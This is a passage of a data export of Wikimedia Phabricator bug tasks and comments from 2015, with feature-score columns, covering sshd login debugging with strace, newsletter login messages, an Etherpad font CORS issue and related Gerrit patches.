Add the Services team to the contact list for RESTBase HTTP checks

[[GERRIT_URL]]"
485961,Add services team as a contact alert for RESTBase back-end HTTP checks,"Change 222508 had a related patch set uploaded (by Mobrovac):
Add the Services team to the contact list for RESTBase HTTP checks

[[https://gerrit.wikimedia.org/r/222508]]
",,,1435879465,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pzkamw6ajqc4pqyxjyeo,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.90625,0.875,"Change 222508 had a related patch set uploaded (by Mobrovac):
Add the Services team to the contact list for RESTBase HTTP checks

[[GERRIT_URL]]
"
104327,strace sshd to figure out which filesystems are hit on login,"ssh login was blocked, even on hosts that did not have /home on NFS. This was mostly solved by reboots. It would be good to figure out why this happened.",Needs Triage,90.0,1435668098,1448901201.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-xnjlw7lfppva656i6zmc,task_description,resolved,True,c3,2,True,False,False,-1,True,0.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,15.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,15.0,6.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.8823529411764706,"ssh login was blocked, even on hosts that did not have /home on NFS. This was mostly solved by reboots. It would be good to figure out why this happened."
583202,strace sshd to figure out which filesystems are hit on login,"Change 260734 merged by Faidon Liambotis:
ldap: Set home for the LDAP lookup user

[[https://gerrit.wikimedia.org/r/260734]]",,,1450867550,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,3.6956521739130435,0.8695652173913043,"Change 260734 merged by Faidon Liambotis:
ldap: Set home for the LDAP lookup user

[[GERRIT_URL]]"
583199,strace sshd to figure out which filesystems are hit on login,"Change 260734 had a related patch set uploaded (by Yuvipanda):
ldap: Set home for the LDAP lookup user

[[https://gerrit.wikimedia.org/r/260734]]
",,,1450867427,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,3.5517241379310347,0.896551724137931,"Change 260734 had a related patch set uploaded (by Yuvipanda):
ldap: Set home for the LDAP lookup user

[[GERRIT_URL]]
"
583198,strace sshd to figure out which filesystems are hit on login,Boom some more!,,,1450867386,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,True,,,24,True,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,3.25,1.0,Boom some more!
570266,strace sshd to figure out which filesystems are hit on login,cool great news,,,1448912352,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,True,,,21,True,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,cool great news
570250,strace sshd to figure out which filesystems are hit on login,"I think this was just for tool labs, and I finally straced:
 * ps aux | grep sshd 
 * strace -p <pid> -f -e trace=file,chdir 2>&1 | tee stracelog
 * grep stracelog -e '""' | sed -e 's/[^""]*""//;s/"".*//' | uniq | sort > files

which showed we access /data/project/.system/tips, which was probably the underlying cause of this issue.",,,1448911813,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,True,,,21,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,2.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,8.0,0.0,6.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.4375,0.7125,"I think this was just for tool labs, and I finally straced:
 * ps aux | grep sshd 
 * strace -p <pid> -f -e trace=file,chdir 2>&1 | tee stracelog
 * grep stracelog -e '""' | sed -e 's/[^""]*""//;s/"".*//' | uniq | sort > files

which showed we access /data/project/.system/tips, which was probably the underlying cause of this issue."
570247,strace sshd to figure out which filesystems are hit on login,"Change 256053 merged by Yuvipanda:
toollabs: remove motd-tips

[[https://gerrit.wikimedia.org/r/256053]]",,,1448911744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,False,,,21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.736842105263158,0.8421052631578947,"Change 256053 merged by Yuvipanda:
toollabs: remove motd-tips

[[GERRIT_URL]]"
570245,strace sshd to figure out which filesystems are hit on login,"Change 256053 had a related patch set uploaded (by Merlijn van Deen):
toollabs: remove motd-tips

[[https://gerrit.wikimedia.org/r/256053]]
",,,1448911613,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,False,,,21,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.5714285714285716,0.8928571428571429,"Change 256053 had a related patch set uploaded (by Merlijn van Deen):
toollabs: remove motd-tips

[[GERRIT_URL]]
"
570071,strace sshd to figure out which filesystems are hit on login,I am in agreement but since this was so long ago and there is no historical record of the incident we will have to wait for similar happenings to dig in here.,,,1448901201,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,True,,,21,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,3.0,12.0,21.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,3.0,6.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,21.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8484848484848486,0.9393939393939394,I am in agreement but since this was so long ago and there is no historical record of the incident we will have to wait for similar happenings to dig in here.
104128,Login-needed text isn't displayed for all newsletter-pages,"The referenced warning that login is needed doesn't show up for me for Special:NewsletterCreate and Special:NewsletterManage
* http://newsletter-test.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Special%3ANewsletterCreate&returntoquery=&warning=requiredlogintext
* http://newsletter-test.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Special%3ANewsletterManage&returntoquery=&warning=requiredlogintext
Although for Special:Newsletters a (different) notice is displayed:
* http://newsletter-test.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Special%3ANewsletters&returntoquery=&warning=exception-nologin-text

Probably also shouldn't be 2 different messages where requiredlogintext (defined by newsletter extension) basically duplicates the other.",Needs Triage,90.0,1435487640,1435493401.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-TASK-uo5x4miw3tt6q2aggbse,task_description,resolved,True,c3,2,True,True,True,-1,True,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,9.0,9.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,18.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,9.0,11.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.666666666666667,0.7121212121212122,"The referenced warning that login is needed doesn't show up for me for Special:NewsletterCreate and Special:NewsletterManage
* URL
* URL
Although for Special:Newsletters a (different) notice is displayed:
* URL

Probably also shouldn't be 2 different messages where requiredlogintext (defined by newsletter extension) basically duplicates the other."
483157,Login-needed text isn't displayed for all newsletter-pages,^^ That made every special page on no-login uniform. @Se4598 close it if http://newsletter-test.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Special%3ANewsletterCreate&returntoquery=&warning=exception-nologin-text looks good to you,,,1435492935,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-uo5x4miw3tt6q2aggbse,task_subcomment,,True,c3,2,False,,,-1,True,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.857142857142857,1.0,^^ That made every special page on no-login uniform.SCREEN_NAME close it if URL looks good to you
483154,Login-needed text isn't displayed for all newsletter-pages,"Change 221441 merged by jenkins-bot:
Remove unnecessary parameter passed to requireLogin()

[[https://gerrit.wikimedia.org/r/221441]]",,,1435492759,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uo5x4miw3tt6q2aggbse,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.217391304347826,0.9130434782608695,"Change 221441 merged by jenkins-bot:
Remove unnecessary parameter passed to requireLogin()

[[GERRIT_URL]]"
483151,Login-needed text isn't displayed for all newsletter-pages,"Change 221441 had a related patch set uploaded (by Tinaj1234):
Remove unnecessary parameter passed to requireLogin()

[[https://gerrit.wikimedia.org/r/221441]]
",,,1435491549,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uo5x4miw3tt6q2aggbse,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.25,0.8571428571428571,"Change 221441 had a related patch set uploaded (by Tinaj1234):
Remove unnecessary parameter passed to requireLogin()

[[GERRIT_URL]]
"
483143,Login-needed text isn't displayed for all newsletter-pages,"That's strange. For the first two SpecialPage code, we have ( https://github.com/wikimedia/mediawiki-extensions-Newsletter/blob/master/includes/SpecialNewsletterCreate.php#L14 )
```
 $this->requireLogin( 'requiredlogintext' ); 
```
which never shows up in labs, and for the Special:Newsletter which showed up a message, the message-param was not given ( https://github.com/wikimedia/mediawiki-extensions-Newsletter/blob/master/includes/SpecialNewsletters.php#L13 )

```
$this->requireLogin();
```",,,1435487917,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-uo5x4miw3tt6q2aggbse,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.8636363636363636,"That's strange. For the first two SpecialPage code, we have ( URL )
``CODE`CODE`CODE``"
103940,Etherpad buttons look broken on HTTPS,"HTTP: {F183621}
HTTPS: {F183620}

Seems like a simple font CORS issue:
```
gtisza@GergoTisza:~$ curl -so /dev/null -D- https://etherpad.wikimedia.org/static/font/fontawesome-etherpad.woff
HTTP/1.1 200 OK
Server: nginx/1.9.2
Date: Fri, 26 Jun 2015 01:19:22 GMT
Content-Type: application/octet-stream
Content-Length: 10724
Connection: keep-alive
X-Powered-By: Express
last-modified: Thu, 16 Apr 2015 21:06:58 GMT
expires: Fri, 26 Jun 2015 07:19:22 GMT
cache-control: max-age=21600
set-cookie: express_sid=s%3AXOow_zj_WMcm5I99SGN1QVlTagzt1s6r.jIDPLGD8bLsjThDORaHI4MNBtCKRJSFL%2F1JiKP23l08; Path=/; HttpOnly
Via: 1.0 etherpad.wikimedia.org, 1.1 varnish
Accept-Ranges: bytes
X-Varnish: 284252639
Age: 0
X-Cache: cp1044 miss (0)
```",Needs Triage,90.0,1435281596,1435306434.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-4s6qj5xnajphvsartvze,task_description,invalid,True,c3,2,True,True,True,-1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,27.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.730769230769231,0.6923076923076923,"HTTP: {F183621}
HTTPS: {F183620}

Seems like a simple font CORS issue:
``CODE``"
482320,Etherpad buttons look broken on HTTPS,"Eh, read that mail and then forgot about it. Sorry for the noise.
(FWIW it did not seem limited to pads I visited before. Refreshing did help though.)",,,1435306434,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-4s6qj5xnajphvsartvze,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,8.0,8.0,6.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.8611111111111112,"Eh, read that mail and then forgot about it. Sorry for the noise.
(FWIW it did not seem limited to pads I visited before. Refreshing did help though.)"
482317,Etherpad buttons look broken on HTTPS,"Change 221035 abandoned by Gergő Tisza:
Set CORS headers on etherpad static files

[[https://gerrit.wikimedia.org/r/221035]]",,,1435306041,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4s6qj5xnajphvsartvze,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.095238095238095,0.9047619047619048,"Change 221035 abandoned by Gergő Tisza:
Set CORS headers on etherpad static files

[[GERRIT_URL]]"
482302,Etherpad buttons look broken on HTTPS,"Please see my email to wmfall and wikitech-l on Jun 12. TL;DR, etherpad upgraded, need to refresh prior visited pads.",,,1435302495,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-4s6qj5xnajphvsartvze,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,0.8846153846153846,"Please see my email to wmfall and wikitech-l on Jun 12. TL;DR, etherpad upgraded, need to refresh prior visited pads."
482223,Etherpad buttons look broken on HTTPS,"Change 221035 had a related patch set uploaded (by Gergő Tisza):
Set CORS headers on etherpad static files

[[https://gerrit.wikimedia.org/r/221035]]
",,,1435282429,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4s6qj5xnajphvsartvze,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.8214285714285716,0.8928571428571429,"Change 221035 had a related patch set uploaded (by Gergő Tisza):
Set CORS headers on etherpad static files

[[GERRIT_URL]]
"
103899,Measure percent of traffic using SPDY / HTTP 2,We need to know what percentage of our traffic uses SPDY so we know how to optimize our content delivery.,Needs Triage,90.0,1435261751,1435432904.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-qcdwwhetazj665yo4vr6,task_description,resolved,True,c3,2,True,True,True,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,10.0,14.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,19.0,14.0,5.0,0.0,0.0,0.0,19.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,4.095238095238095,0.8571428571428571,We need to know what percentage of our traffic uses SPDY so we know how to optimize our content delivery.
483008,Measure percent of traffic using SPDY / HTTP 2,http://grafana.wikimedia.org/#/dashboard/db/client-connections,,,1435432904,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-qcdwwhetazj665yo4vr6,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
103883,CentralAuth wrongly reports successful auto-login on mirrors,"Using e.g. google cache:

http://webcache.googleusercontent.com/search?q=cache:https://en.wikipedia.org/%3Ftitle%3DMs.+

It pops up ""You are centrally logged in. Reload the page to apply your user settings."" every time but this is obviously not true. I don't know what it did, but it didn't establish an meaningful session.

I don't know if it is feasible to prevent the auto-login attempt when it isn't useful. But at least we shouldn't report that it succeeded when it didn't.
'
Possibly related:
